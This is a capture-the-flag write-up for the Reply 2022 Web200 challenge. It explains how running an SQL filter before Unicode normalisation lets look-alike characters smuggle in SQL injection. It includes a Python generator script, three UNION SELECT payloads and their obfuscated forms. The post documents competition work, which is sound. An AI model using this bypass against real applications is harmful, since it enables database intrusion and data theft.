Reply Cyber Security Challenge 2022: Web200 Writeup

I took part to the Reply Cyber Security Challenge 2022, a CTF organized by Reply, with a team of friends from the University of Trento. This is the writeup of the Web200 challenge.

The challenge can be found here, but it will probably be taken down soon.

The challenge is a web site that allows to search for emojis. We get a downloadable file that contains some python code of the server, the interesting parts are the following:

# Custom SQL filter
query = sqlfilter(request.form['query'])

[...]

# Normalize weird chars here
norm = unicodedata.normalize("NFKD", query).encode('ascii', 'ignore').decode('ascii')

The code is first filtering SQL injection attacks using a custom filter, and then normalizing the input using the unicodedata module. The unicodedata module is used to convert characters to their ASCII representation. For example, the character é is converted to e. The problem here is that the order should be reversed.

The way it is done here, allows us to create a string that passes the SQL filtering but that, when normalised, allows us to inject SQL code.

To do this, I created a simple python script that takes a SQL injection query and returns an equivalent string that uses weird unicode characters that, when normalised, are converted to the same characters as the SQL injection query.

The following code outputs the three injections that I used to retrieve the tables in the database, the columns of the r3plych4ll3ng3fl4g table and finally the flag:

#!/usr/bin/env python3

import unicodedata

def normalize(c):
  return unicodedata.normalize("NFKD", c).encode('ascii', 'ignore').decode('ascii')

def find_equivalent_char(c):
  for i in range(0x10000):
    if c != chr(i) and normalize(chr(i)) == c:
      return chr(i)
  return c

def generate_equivalent_string(s):
  return ''.join([find_equivalent_char(c) for c in s])

if __name__ == '__main__':
  # Find the table names
  query = "Y4%' UNION SELECT 'ff','80;c0',name,name FROM sqlite_schema UNION SELECT prefix,range,category,id FROM emoji WHERE category like '%Y4"

  print('To find the table names, use this query:')
  print(generate_equivalent_string(query))

  # Find the column names
  query = "Y4%' UNION SELECT 'ff','80;c0',sql,sql FROM sqlite_master WHERE name='r3plych4ll3ng3fl4g' UNION SELECT prefix,range,category,id FROM emoji WHERE category like '%Y4"

  print('To find the column names, use this query:')
  print(generate_equivalent_string(query))

  # Get the flag
  query = "Y4%' UNION SELECT 'ff','80;c0',value,value FROM r3plych4ll3ng3fl4g UNION SELECT prefix,range,category,id FROM emoji WHERE category like '%Y4"

  print('To get the flag, use this query:')
  print(generate_equivalent_string(query))

The resulting (mildly over-obfuscated) injections are the following:

>>> python injections.py                      
To find the table names, use this query:
Ý⁴﹪' ÙÑÌÒÑ ŚÈĹÈÇŢ 'ᶠᶠ'︐'⁸⁰;ç⁰'︐ñªᵐè︐ñªᵐè ḞŔÒᴹ śⓠĺìţè︳śçĥèᵐª ÙÑÌÒÑ ŚÈĹÈÇŢ ᵖŕèᶠìˣ︐ŕªñĝè︐çªţèĝºŕý︐ìď ḞŔÒᴹ èᵐºĵì ŴĤÈŔÈ çªţèĝºŕý ĺìķè '﹪Ý⁴
To find the column names, use this query:
Ý⁴﹪' ÙÑÌÒÑ ŚÈĹÈÇŢ 'ᶠᶠ'︐'⁸⁰;ç⁰'︐śⓠĺ︐śⓠĺ ḞŔÒᴹ śⓠĺìţè︳ᵐªśţèŕ ŴĤÈŔÈ ñªᵐè⁼'ŕ³ᵖĺýçĥ⁴ĺĺ³ñĝ³ᶠĺ⁴ĝ' ÙÑÌÒÑ ŚÈĹÈÇŢ ᵖŕèᶠìˣ︐ŕªñĝè︐çªţèĝºŕý︐ìď ḞŔÒᴹ èᵐºĵì ŴĤÈŔÈ çªţèĝºŕý ĺìķè '﹪Ý⁴
To get the flag, use this query:
Ý⁴﹪' ÙÑÌÒÑ ŚÈĹÈÇŢ 'ᶠᶠ'︐'⁸⁰;ç⁰'︐ᵛªĺùè︐ᵛªĺùè ḞŔÒᴹ ŕ³ᵖĺýçĥ⁴ĺĺ³ñĝ³ᶠĺ⁴ĝ ÙÑÌÒÑ ŚÈĹÈÇŢ ᵖŕèᶠìˣ︐ŕªñĝè︐çªţèĝºŕý︐ìď ḞŔÒᴹ èᵐºĵì ŴĤÈŔÈ çªţèĝºŕý ĺìķè '﹪Ý⁴

Using the output of the script, I was able to retrieve the flag. The output of the SQL injections is included in the value attribute of the pages buttons at the bottom of the page.

Retrieving the Tables

Tables

Retrieving the Columns

Columns

Retrieving the Flag

Flag

Our team finished 38th out of 3723 teams.

Matteo Golinelli
Matteo Golinelli
CyberSecurity PhD Student

My research interests include web security, with special focus on web caches.